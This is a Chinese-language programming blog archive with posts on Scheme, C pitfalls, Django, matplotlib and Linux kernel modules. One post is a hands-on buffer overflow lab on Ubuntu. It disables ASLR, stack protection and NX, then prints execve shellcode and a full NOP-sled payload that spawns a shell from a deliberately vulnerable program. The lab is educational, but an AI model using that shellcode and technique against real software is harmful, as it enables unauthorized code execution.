顯示具有 Programming 標籤的文章。 顯示所有文章
顯示具有 Programming 標籤的文章。 顯示所有文章

星期一, 10月 07, 2013

初探Higher Order Procedure(一)

若一支程序會去修改一另支程序,來達成某種目的,則此程序可稱之為Higher Order Procedure。此外,此程序的參數要是程序。接下來的說明就用Scheme語言來表示。

現在舉一個例子,我們需要寫一支程序,能把某區間的所有整數相加後回傳,Scheme程序如下:

(define (sum-integer a b)
  (if (> a b)
      0
      (+ a (sum-integer (+ a 1) b)))

使用此程序能把從a到b間的整數相加。而今天有另外一件事,是想要相加某區段立方體體積,則可以用下列程序表示:

(define (cube x) (* x x x))
(define (sum-cube a b)
  (if (> a b)
      0
      (+ (cube a) (sum-cube (+ a 1) b)))

可以觀察到sum-integer及sum-cube都有很大程度的相似,這時就可以用Higher Order Procedure來簡化。未來有各種類似工作,都可以此輕鬆達到相同目的:

(define (sum term a next b)
  (if (> a b)
       0
      (+ (term a) (sum term (next a) next b))))

term是用來產生每一個單位的程序。next則是接後現在的值,產生下一個要處理的值。a及b不消分說,就是開始以及結束了。使用此Higher Order Procedure後,我們可以改寫原本的sum-integer & sum-cube如下:

(define (identity x) x)
(define (sum-integer a b)
  (sum identity a 1+ b))
(define (cube x) (* x x x))
(define (sum-cube a b)
  (sum cube a 1+ b))

多有用的一種程序。能把程序寫的簡單又明瞭,除了Scheme以外,我想用其他現在流行的程式語言(C, C++, Java, C#)要達到相同效果,無非是邯鄲學步吧!光是要能直接用程序作為參數,Java就需要借用Command Pattern才行......

星期五, 7月 27, 2012

sizeof(bug)

關於C語言中的sizeof,如果不小心可能會產生蟲兒。

 來看一下程式碼及執行結果:
MaCarrick:mists-of-time cacaegg$ cat subtle-bug.c
#include
int array[] = {23, 34, 12, 17, 204, 99, 16};
#define TOTAL_ELEMENTS (sizeof(array) / sizeof(array[0]))

main(){
int d = -1, x;

if(d <= TOTAL_ELEMENTS-2){
printf("T\n");
}else{
printf("F\n");
}
}
MaCarrick:mists-of-time cacaegg$ gcc subtle-bug.c
MaCarrick:mists-of-time cacaegg$ ./a.out
F
為什麼d明明是-1卻印出F呢?

其實是因為sizeof回傳的形態皆為unsinged。

加上當進行signed int d與unsigned int比較時,signed int會被轉成unsigned int。 

所以d在是-1的情況下,其signed bit為1,當其轉為unsinged時,signed bit就成為most significant bit,使得d轉為極大的數了。

修正方法只要加上型態轉換即可:

  if(d <= (int) TOTAL_ELEMENTS - 2)

星期四, 11月 03, 2011

Pratice Buffer Overflow on Ubuntu 10.10

首先準備有漏洞的Buffer Overflow程式
csep@ubuntu:~/src$ cat samp1.c
#include
#include

int main(int argc, char** argv){
char buffer[500];
strcpy(buffer, argv[1]);
return 0;
}
為了能夠順利練習,需要先關閉Stack Guard、Stack Space Randomization以及Non Executable Stack
1. 關閉Stack Space Randomization
root@ubuntu:~# echo 0 > /proc/sys/kernel/randomize_va_space
root@ubuntu:~# cat /proc/sys/kernel/randomize_va_space
0

2. 關閉Stack Guard,在gcc compile時加上參數
gcc -g -o samp1 samp1.c -fno-stack-protector

3. 關閉Non Executable Stack,需要額外把NX bit關掉
user@ubuntu:~/src$ sudo apt-get install execstack
...
user@ubuntu:~/src$ execstack -s samp1

4. 執行GDB開始Buffer Overflow
csep@ubuntu:~/src$ gdb -q samp1
Reading symbols from /home/csep/src/samp1...done.
(gdb) run `python -c 'print "\x41"*500'`Starting program: /home/csep/src/samp1 `python -c 'print "\x41"*500'`

Program exited normally.
(gdb) run `python -c 'print "\x41"*520'`
Starting program: /home/csep/src/samp1 `python -c 'print "\x41"*520'`

Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
(gdb) run `python -c 'print "\x41"*512'`
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/csep/src/samp1 `python -c 'print "\x41"*512'`

Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
(gdb) run `python -c 'print "\x41"*508'`
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/csep/src/samp1 `python -c 'print "\x41"*508'`

Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
(gdb) run `python -c 'print "\x41"*504'`
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/csep/src/samp1 `python -c 'print "\x41"*504'`

Program received signal SIGILL, Illegal instruction.
0xbffff67a in ?? ()
(gdb) run `python -c 'print "\x41"*504'`
可以看到長度約在504之後會寫到EIP,接著看ESP在大概在哪。
(gdb) list
1 #include
2 #include
3
4 int main(int argc, char** argv){
5 char buffer[500];
6 strcpy(buffer, argv[1]); // Vulnerable Function
7 return 0;
8 }
(gdb) b 6
Breakpoint 1 at 0x80483cd: file samp1.c, line 6.
(gdb) run `python -c 'print "\x41"*508'`
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/csep/src/samp1 `python -c 'print "\x41"*508'`

Breakpoint 1, main (argc=2, argv=0xbffff604) at samp1.c:6
6 strcpy(buffer, argv[1]); // Vulnerable Function
(gdb) c
Continuing.

Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
(gdb) i r esp
esp 0xbffff560 0xbffff560
(gdb) p /x 0xbffff560 - 300
$3 = 0xbffff434

從ESP往回算約300,就是要覆寫的ret address。
接著就準備shell code,參考連結
csep@ubuntu:~/src$ ./sc-gen sh
Shellcode lenght: 54
\x31\xc0\x83\xec\x01\x88\x04\x24
\x68\x74\x72\x69\x62\x68\x2e\x64
\x69\x73\x68\x6e\x2f\x73\x68\x66
\x68\x62\x69\x83\xec\x01\xc6\x04
\x24\x2f\x89\xe6\x50\x56\xb0\x0b
\x89\xf3\x89\xe1\x31\xd2\xcd\x80
\xb0\x01\x31\xdb\xcd\x80
csep@ubuntu:~/src$ for line in `./sc-gen sh | grep "x"`; do echo -n $line; done\x31\xc0\x83\xec\x01\x88\x04\x24\x68\x74\x72\x69\x62\x68\x2e\x64\x69\x73\x68\x6e\x2f\x73\x68\x66\x68\x62\x69\x83\xec\x01\xc6\x04\x24\x2f\x89\xe6\x50\x56\xb0\x0b\x89\xf3\x89\xe1\x31\xd2\xcd\x80\xb0\x01\x31\xdb\xcd\x80
大致上準備好了,可以Buffer Overflow了。要送出的參數長這樣
[NOP-------] [shell Code] [return Address----]
^--------------------------------------'
只要return address位於NOP中,就可以順利執行Shell Code了。
(gdb) run `python -c 'print "\x90"*302+"\x31\xc0\x83\xec\x01\x88\x04\x24\x68\x74\x72\x69\x62\x68\x2e\x64\x69\x73\x68\x6e\x2f\x73\x68\x66\x68\x62\x69\x83\xec\x01\xc6\x04\x24\x2f\x89\xe6\x50\x56\xb0\x0b\x89\xf3\x89\xe1\x31\xd2\xcd\x80\xb0\x01\x31\xdb\xcd\x80"+"\xc4\xf3\xff\xbf"*38'`
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /home/csep/src/samp1 `python -c 'print "\x90"*302+"\x31\xc0\x83\xec\x01\x88\x04\x24\x68\x74\x72\x69\x62\x68\x2e\x64\x69\x73\x68\x6e\x2f\x73\x68\x66\x68\x62\x69\x83\xec\x01\xc6\x04\x24\x2f\x89\xe6\x50\x56\xb0\x0b\x89\xf3\x89\xe1\x31\xd2\xcd\x80\xb0\x01\x31\xdb\xcd\x80"+"\xc4\xf3\xff\xbf"*38'`

Breakpoint 1, main (argc=2, argv=0xbffff604) at samp1.c:6
6 strcpy(buffer, argv[1]); // Vulnerable Function
(gdb) c
Continuing.
process 13123 is executing new program: /bin/bash
Error in re-setting breakpoint 1: No symbol table is loaded. Use the "file" command.
To run a command as administrator (user "root"), use "sudo ".
See "man sudo_root" for details.

csep@ubuntu:/home/csep/src$
Boom! 拿到Shell了。

星期一, 8月 01, 2011

The Blocks Problem

Background
Many areas of Computer Science use simple, abstract domains for both analytical and empirical studies. For example, an early AI study of planning and robotics (STRIPS) used a block world in which a robot arm performed tasks involving the manipulation of blocks.

In this problem you will model a simple block world under certain rules and constraints. Rather than determine how to achieve a specified state, you will ``program'' a robotic arm to respond to a limited set of commands.

The Problem
Background
Many areas of Computer Science use simple, abstract domains for both analytical and empirical studies. For example, an early AI study of planning and robotics (STRIPS) used a block world in which a robot arm performed tasks involving the manipulation of blocks.

In this problem you will model a simple block world under certain rules and constraints. Rather than determine how to achieve a specified state, you will ``program'' a robotic arm to respond to a limited set of commands.

The Problem
The problem is to parse a series of commands that instruct a robot arm in how to manipulate blocks that lie on a flat table. Initially there are n blocks on the table (numbered from 0 to n-1) with block bi adjacent to block bi+1 for all $0 \leq i < n-1$ as shown in the diagram below:

\begin{figure} \centering \setlength{\unitlength}{0.0125in} % \begin{picture} (2... ...raisebox{0pt}[0pt][0pt]{$\bullet \bullet \bullet$ }}} \end{picture} \end{figure}
Figure: Initial Blocks World

The valid commands for the robot arm that manipulates blocks are:

    move a onto b

    where a and b are block numbers, puts block a onto block b after returning any blocks that are stacked on top of blocks a and b to their initial positions.

    move a over b

    where a and b are block numbers, puts block a onto the top of the stack containing block b, after returning any blocks that are stacked on top of block a to their initial positions.

    pile a onto b

    where a and b are block numbers, moves the pile of blocks consisting of block a, and any blocks that are stacked above block a, onto block b. All blocks on top of block b are moved to their initial positions prior to the pile taking place. The blocks stacked above block a retain their order when moved.

    pile a over b

    where a and b are block numbers, puts the pile of blocks consisting of block a, and any blocks that are stacked above block a, onto the top of the stack containing block b. The blocks stacked above block a retain their original order when moved.

    quit

    terminates manipulations in the block world.

Any command in which a = b or in which a and b are in the same stack of blocks is an illegal command. All illegal commands should be ignored and should have no affect on the configuration of blocks.

The Input
The input begins with an integer n on a line by itself representing the number of blocks in the block world. You may assume that 0 < n < 25.

The number of blocks is followed by a sequence of block commands, one command per line. Your program should process all commands until the quit command is encountered.

You may assume that all commands will be of the form specified above. There will be no syntactically incorrect commands.

The Output

The output should consist of the final state of the blocks world. Each original block position numbered i ( $0 \leq i < n$ where n is the number of blocks) should appear followed immediately by a colon. If there is at least a block on it, the colon must be followed by one space, followed by a list of blocks that appear stacked in that position with each block number separated from other block numbers by a space. Don't put any trailing spaces on a line.

There should be one line of output for each block position (i.e., n lines of output where n is the integer on the first line of input).

Sample Input

10
move 9 onto 1
move 8 over 1
move 7 over 1
move 6 over 1
pile 8 over 6
pile 8 over 5
move 2 over 1
move 4 over 9
quit

Sample Output

 0: 0
 1: 1 9 2 4
 2:
 3: 3
 4:
 5: 5 8 7 6
 6:
 7:
 8:
 9:
#include
#include
#include

#define MOVE 000
#define PILE 010
#define ONTO 000
#define OVER 001

struct block{
int value;
struct block *next;
};

char* readline(FILE*);
void moveonto(int, int, struct block**, int *);
void moveover(int, int, struct block**, int *);
void pileonto(int, int, struct block**, int *);
void pileover(int, int, struct block**, int *);
void push(struct block**, struct block*, int, int *);
struct block* pop(struct block**, int);

int main(int argc, char **argv){
struct block **table,*block_entry;
char *line, *tok;
int *block_index;
/* Remember where table_index of the block is */
int op1, op2, i;
short act, table_size=0;

/* Initialize the blocks world */
line = readline(stdin);
table_size = atoi(line);
if(table_size >= 25 || table_size <= 0) return 0; table = calloc(table_size, sizeof(struct block **)); block_index = calloc(table_size, sizeof(int)); for(i = 0; i < table_size; i++){ block_entry = (struct block*) malloc(sizeof(struct block)); block_entry->value = i;
block_entry->next = NULL;
table[i] = block_entry;
block_index[i] = i;
}

while(strlen(line = readline(stdin)) > 0){
if(strcmp(line, "quit") == 0)
break;
act = 0;
tok = strtok(line, " ");
if(strcmp(tok, "pile") == 0)
act += PILE;
op1 = atoi(strtok(NULL, " "));
tok = strtok(NULL, " ");
if(strcmp(tok, "over") == 0)
act += OVER;
op2 = atoi(strtok(NULL, " "));
if(op1 == op2 || block_index[op1] == block_index[op2]
|| op1 >= table_size
|| op2 >= table_size
|| op1 < 0 || op2 < 0) continue; switch(act){ case MOVE+ONTO: moveonto(op1, op2, table, block_index); continue; case MOVE+OVER: moveover(op1, op2, table, block_index); continue; case PILE+ONTO: pileonto(op1, op2, table, block_index); continue; case PILE+OVER: pileover(op1, op2, table, block_index); continue; } } /* Print the blocks world */ for(i = 0; i < table_size; i++){ block_entry = table[i]; printf("%d:", i); while(block_entry != NULL){ printf(" %d", block_entry->value);
block_entry = block_entry->next;
}
printf("\n");
}

return 0;
}

void push(struct block **table, struct block *entry, int index, int block_index[]){
struct block *ptr;
if((ptr = table[index]) == NULL){
table[index] = entry;
block_index[entry->value] = index;
return;
}
while(ptr->next != NULL)
ptr = ptr->next;
ptr->next = entry;
block_index[entry->value] = index;
entry->next = NULL;
}

struct block* pop(struct block **table, int index){
struct block *ptr, *pre;
pre = NULL;
ptr = table[index];
while(ptr->next != NULL){
pre = ptr;
ptr = ptr->next;
}
if(pre != NULL)
pre->next = NULL;
else
table[index] = NULL;
return ptr;
}

void moveonto(int op1, int op2, struct block **table, int block_index[]){
/* Move the block over a and b to the orignal place.
*/
struct block *block_entry, *block_a;

while((block_entry = pop(table, block_index[op1])) != NULL){
if(block_entry->value != op1) /* Move block over a to initial position */
push(table, block_entry, block_entry->value, block_index);
else{ /* It is the block a */
block_a = block_entry;
break;
}
}
while((block_entry = pop(table, block_index[op2])) != NULL){
if(block_entry->value != op2) /* Move block over b to initial position */
push(table, block_entry, block_entry->value, block_index);
else{ /* It is the block b */
push(table, block_entry, block_index[op2], block_index);
break;
}
}
/* Move block a onto b */
push(table, block_a, block_index[op2], block_index);
return;
}

void moveover(int op1, int op2, struct block **table, int block_index[]){
/* Move the block over a to its orginal place.
*/
struct block *block_entry, *block_a;

while((block_entry = pop(table, block_index[op1])) != NULL){
if(block_entry->value != op1) /* Move block over a to initial position */
push(table, block_entry, block_entry->value, block_index);
else{ /* It is the block a */
block_a = block_entry;
break;
}
}
/* Move block a onto b */
push(table, block_a, block_index[op2], block_index);
return;
}

void pileonto(int op1, int op2, struct block **table, int block_index[]){
/* Move the block over b to its orginal place.
*/
struct block *block_entry, *pre=NULL, *next;

while((block_entry = pop(table, block_index[op2])) != NULL){
if(block_entry->value != op2){ /* Move block over b to initial position */
push(table, block_entry, block_entry->value, block_index);
}
else{ /* It is the block b, so push back */
push(table, block_entry, block_entry->value, block_index);
break;
}
}

/* Make a list to keep the order */
while((block_entry = pop(table, block_index[op1])) != NULL){
block_entry->next = pre;
pre = block_entry;
if(block_entry->value == op1)
break;
}

/* Push the list onto block b in order
*/
while(1){
next = block_entry->next;
push(table, block_entry, block_index[op2], block_index);
block_entry = next;
if(block_entry == NULL) break;
}
}

void pileover(int op1, int op2, struct block **table, int block_index[]){
struct block *block_entry, *pre, *next;

/* Make a list to keep the order
*/
pre = NULL;
while((block_entry = pop(table, block_index[op1])) != NULL){
block_entry->next = pre;
pre = block_entry;
if(block_entry->value == op1)
break;
}

/* Push the list onto block b in order
*/
while(1){
next = block_entry->next;
push(table, block_entry, block_index[op2], block_index);
block_entry = next;
if(block_entry == NULL) break;
}
}

char* readline(FILE* f){
char* ret = (char *) calloc(0, sizeof(char));
char c;
int len = 0;

while((c = fgetc(f)) != EOF && c != '\n'){
ret = (char *) realloc(ret, sizeof(char) * len + 2);
ret[len++] = c;
ret[len] = '\0';
}
return ret;
}

心得
1. Input不要去預設Range,像是人家說整數不要自己認為是正整數。
2. 做OR運算先後順序,要多多注意

星期四, 3月 17, 2011

setup numpy and matplotlib under mac os x 10.6

當然先用pip安裝好來
$pip install numpy
$pip install matplotlib
然後想測試時,發生如下的import error
$ python
Python 2.6.6 (r266:84374, Aug 31 2010, 11:00:51)
[GCC 4.0.1 (Apple Inc. build 5493)] on darwin
Type "help", "copyright", "credits" or "license" for more information.
>>> import matplotlib.pyplot as plt
/Library/Frameworks/Python.framework/Versions/2.6/lib/python2.6/site-packages/matplotlib/__init__.py:62: DeprecationWarning: the md5 module is deprecated; use hashlib instead
import md5, os, re, shutil, sys, warnings
/Library/Frameworks/Python.framework/Versions/2.6/lib/python2.6/site-packages/pytz/tzinfo.py:5: DeprecationWarning: the sets module is deprecated
from sets import Set
Traceback (most recent call last):
File "", line 1, in
File "/Library/Frameworks/Python.framework/Versions/2.6/lib/python2.6/site-packages/matplotlib/pyplot.py", line 6, in
from matplotlib.figure import Figure, figaspect
File "/Library/Frameworks/Python.framework/Versions/2.6/lib/python2.6/site-packages/matplotlib/figure.py", line 10, in
from axes import Axes, Subplot, PolarSubplot, PolarAxes
File "/Library/Frameworks/Python.framework/Versions/2.6/lib/python2.6/site-packages/matplotlib/axes.py", line 6, in
import matplotlib.numerix.npyma as ma
File "/Library/Frameworks/Python.framework/Versions/2.6/lib/python2.6/site-packages/matplotlib/numerix/__init__.py", line 166, in
__import__('ma', g, l)
File "/Library/Frameworks/Python.framework/Versions/2.6/lib/python2.6/site-packages/matplotlib/numerix/ma/__init__.py", line 16, in
from numpy.core.ma import *
ImportError: No module named ma
找不到ma模組,找了一下後發現改位置了
>>> import numpy
>>> print numpy.__version__
1.5.1
>>> print numpy.core.ma
Traceback (most recent call last):
File "", line 1, in
AttributeError: 'module' object has no attribute 'ma'
>>> print numpy.ma

>>> quit()
因此去修改下列檔案
$ vim /Library/Frameworks/Python.framework/Versions/Current/lib/python2.6/site-packages/matplotlib/numerix/npyma/__init__.py
$ vim /Library/Frameworks/Python.framework/Versions/Current/lib/python2.6/site-packages/matplotlib/numerix/npyma/__init__.py
裡面有import numpy.core.ma的都改一下
try:
from numpy.core.ma import *
except ImportError:
from numpy.ma import *
最後就可以成功了
$ python
Python 2.6.6 (r266:84374, Aug 31 2010, 11:00:51)
[GCC 4.0.1 (Apple Inc. build 5493)] on darwin
Type "help", "copyright", "credits" or "license" for more information.
>>> import matplotlib.pyplot as plt
/Library/Frameworks/Python.framework/Versions/2.6/lib/python2.6/site-packages/matplotlib/__init__.py:62: DeprecationWarning: the md5 module is deprecated; use hashlib instead
import md5, os, re, shutil, sys, warnings
/Library/Frameworks/Python.framework/Versions/2.6/lib/python2.6/site-packages/pytz/tzinfo.py:5: DeprecationWarning: the sets module is deprecated
from sets import Set
>>> plt.plot([1,2,3,4])
[]
>>> plt.ylabe('some numbers')
Traceback (most recent call last):
File "", line 1, in
AttributeError: 'module' object has no attribute 'ylabe'
>>> plt.ylabel('some numbers')

>>> plt.show()

Happy hacks ; )

星期二, 2月 15, 2011

兩種在Linux下拿到亂數的方法

1. 寫個函數,從entropy拿。
linux kernel中有個entropy pool,這pool是由許多環境上的隨機因子造成的,
如Keyboard輸入的時間,滑鼠移動到的位置,disk存取的時間等等。
函式如下
unsigned long get_random(void){
unsigned long seed;
int fd;

fd = open("/dev/urandom", O_RDONLY);
if(fd == -1){
perror("open");
return 0;
}
if(read(fd, &seed, sizeof(seed)) < 0){ perror("read"); return 0; } if(close(fd)) perror("close"); return seed; }


2.另外一種方法,直接使用dd
$dd if=/dev/urandom of=/tmp/rand bs=1b count1
簡單又快速

星期五, 1月 28, 2011

用Django, Orbited, Stomp 來完成Server Push 功能

現行的ajax大多都是需client有事情,才發request對server,拿資料做事。

如果換成server有事想通知web client呢?

用Django + Orbited + Stomp 就可以完成了。

Orbited : 很神奇的東西,用javascrip+html提供了socket的功能,所以在這socket上就可以實作各種東西。

等等會把stomp client和這在browser端整合。

Stomp:只要有stompclient,就可以接收stomp broker的message了。

首先進行安裝
easy_install install orbited
easy_install install stomp.py

在django project的目錄下,加上個orbited.cnf,內容是
[listen]
http://:9000
stomp://:61613

[access]
* -> localhost:61613

[global]
session.ping_interval = 300

把orbited跑起來
orbited -c orbited.cnf

在someapp/view.py下新增如下
from django.shortcuts import render_to_response
import stomp
conn = stomp.Connection()
conn.start()
conn.connect()
def index:
return render_to_response('index.html', {'dummy': "stupid"})
def stepEventHub(request):
conn.send(json.dumps({"msg":"server"}), destination="/EventHub")
return HttpResponse("ok")

記得去編輯一下urls.py
urlpatterns = patterns('someapp.views',
(r'^index/$', 'index'),
(r'^stepEventHub/$', 'stepEventHub'),
)

然後再編輯index.html一下網頁加上下列script





function main(){
stomp = new STOMPClient();
stomp.onopen = function(){
console.log("Open Stomp Client");
}
stomp.onclose = function(c){
alert("Lost connection, Code:"+c);
}
stomp.onerror = function(error){
alert("Error : " + error);
}
stomp.onerrorframe = function(frame){
alert("Error : " + frame.body);
}
stomp.onconnectedframe = function(){
console.log("Connected. Subcribing");
stomp.subscribe("/EventHub");
}
stomp.onmessageframe = function(frame){
var data = $.parseJSON(frame.body);
alert(data['msg']);
}
stomp.connect("localhost", 61613);
};
$(document).ready(main);
下載Orbited.js&stomp.js
stomp.js在protocol下。

最後說明一下stompclient 內容
onopen – 連線開始時候要呼叫的
onclose –連線結束時候要呼叫的
onerror – 當stompclinet有錯誤時呼叫
onerrorframe – 如果有錯誤的frame抵達時呼叫
onconnectedframe – 當client成功傳送以及接收frame時
onmessageframe – 當收到一個frame時

reset – 重設連線
connect – 連到stomp server

記得frame過來後,json是在body中,所以要用$.parseJSON(frame.body)才可以。

最後先打開網頁http://127.0.0.1:8000/someapp/
再開另外一個網頁http://127.0.0.1:8000/someapp/stepEventHub

就會在第一個網頁看到alert message了。

這裡有詳細範例

星期二, 1月 25, 2011

Caught UnicodeDecodeError while rendering ... unexpected code byte

Django的樣板裡頭打上中文的時候,出現了如標題的錯誤

Caught UnicodeDecodeError while rendering ... unexpected code byte

找了各種原因,原來是Vim儲存時沒用utf-8編碼去存。
只要在vim下打
:set fenc=utf-8
再去編輯儲存就可以了。

星期六, 1月 22, 2011

Hello World of Linux Kernel Module Development

花了好些時間從算搞定。

首先先編譯Kernel,參照下列網址

http://blog.avirtualhome.com/2010/11/06/how-to-compile-a-ubuntu-10-10-maverick-kernel/
http://duopetalflower.blogspot.com/2010/10/ubuntu-maverick-64bit-kernel.html

編譯好裝上新Kernel後,就可以在/lib裡頭看到新的kernel了。

接著在home目錄下編輯hello.c
#include
#include
#include
MODULE_LICENSE("Dual BSD/GPL");
static int hello_init(void)
{
printk(KERN_ALERT "Hello, world\n");
return 0;
}

static void hello_exit(void)
{
printk(KERN_ALERT "Goodbye, cruel world\n");
}

module_init(hello_init);
module_exit(hello_exit);
接著再編輯Makefile
obj-m := hello.o // 目標module
KERNELDIR = /lib/modules/2.6.35-24-cacore/build // 2.6.35-24-cacore是編譯過的Kernerl名稱
default:
$(MAKE) -C $(KERNELDIR) M=$(PWD) modules
接著執行make,應該會出現hello.ko檔
然後
#sudo insmod hello.ko
可以裝上module

#sudo rmmod
會移除module

完成!

後記:用inmod不會去檢查相依性,所以建議改用modprobe
下列是新增及移除的方法
#modprobe module [parameter]
#modprobe -r module

星期四, 1月 20, 2011

Generic Relation in Django

有時候,Model中的某個欄位是ForeignKey,

而偏偏又不能確定該欄位是指向什麼Model的時候該怎麼辦呢?

Generic Relation是在Django裡的好辦法!

使用方法如下:
1.給Model一個ForeignKey欄位,指向ContentType
2.再給Model一個欄位,用來儲存所要指向的Model的Primary。
在這裡注意一下,如果型態給IntegerField,那就不能指向PrimaryKey是CharField的Model囉!
3.再一個欄位,型態是GericForeignKey,然後把上面兩個欄位給它。就可以了。

文件中有個簡單的範例:
from django.db import models
from django.contrib.contenttypes.models import ContentType
from django.contrib.contenttypes import generic

class TaggedItem(models.Model):
tag = models.SlugField()
content_type = models.ForeignKey(ContentType)
object_id = models.PositiveIntegerField()
content_object = generic.GenericForeignKey('content_type', 'object_id')

def __unicode__(self):
return self.tag
可以看到tag本身當然還不確定會去tag什麼model,所以就用Generic Relation是再好不過了!
執行時再決定所指向的是什麼就可以了。
>>> from django.contrib.auth.models import User
>>> guido = User.objects.get(username='Guido')
>>> t = TaggedItem(content_object=guido, tag='bdfl')
>>> t.save()
>>> t.content_object


參考自:http://docs.djangoproject.com/en/1.2/ref/contrib/contenttypes/

星期四, 12月 23, 2010

Do things in Dir by C

C語言中如何處理目錄中每筆記錄

在freeBSD裡面的man中說明:
Sample code which searches a directory for entry ``name'' is:
DIR* dirp;
struct direct* dp;
len = strlen(name);
dirp = opendir(".");
while ((dp = readdir(dirp)) != NULL)
if (dp->d_namlen == len && !strcmp(dp->d_name, name)) {
(void)closedir(dirp);
return FOUND;
}
(void)closedir(dirp);
return NOT_FOUND;


十分簡單卻有用。

星期三, 11月 10, 2010

修改已經存在的table -- django-evolution

在manage.py syncdb中,他並不會修改已經存在的table。

所幸有位救星出來了:django-evolution

他可以在修改model後,新增或減少欄位,都直接去alter table。

安裝方法如下:
easy_install -U django_evolution

使用步驟如後:
1. Add django_evolution to the INSTALLED_APPS for your project
2. Run ./manage.py syncdb
3. Make modifications to the model files in your project
4. Run ./manage.py evolve --hint --execute

記得,新增的欄位要給default值,否則要設定null=True,
否則會出現initial value沒有指定的錯誤。

參考:django-evolution

星期五, 10月 22, 2010

Django Short names for ENGINE DeprecationWarning

Django在更新到某版後,跑shell會出現如下訊息:

/usr/lib/python2.5/site-packages/django/db/__init__.py:59: DeprecationWarning: Short names for ENGINE in database configurations are deprecated. Prepend default.ENGINE with 'django.db.backends.'
DeprecationWarning

為了解決它,只要在setting.py裡面更改Engine的名稱即可。

'ENGINE': 'django.db.backends.sqlite3'

之後Short name格式都會取消支援,所以就記得在前面加上
django.db.backends.

星期四, 9月 16, 2010

execl vs excvp

These two will search for prog on current PATH
execlp(prog, arg0, arg1, arg2, ...)
execvp(prog, argList)

簡單說
execvp可以傳argument list,而exclp卻需要把參數一個一個傳進去。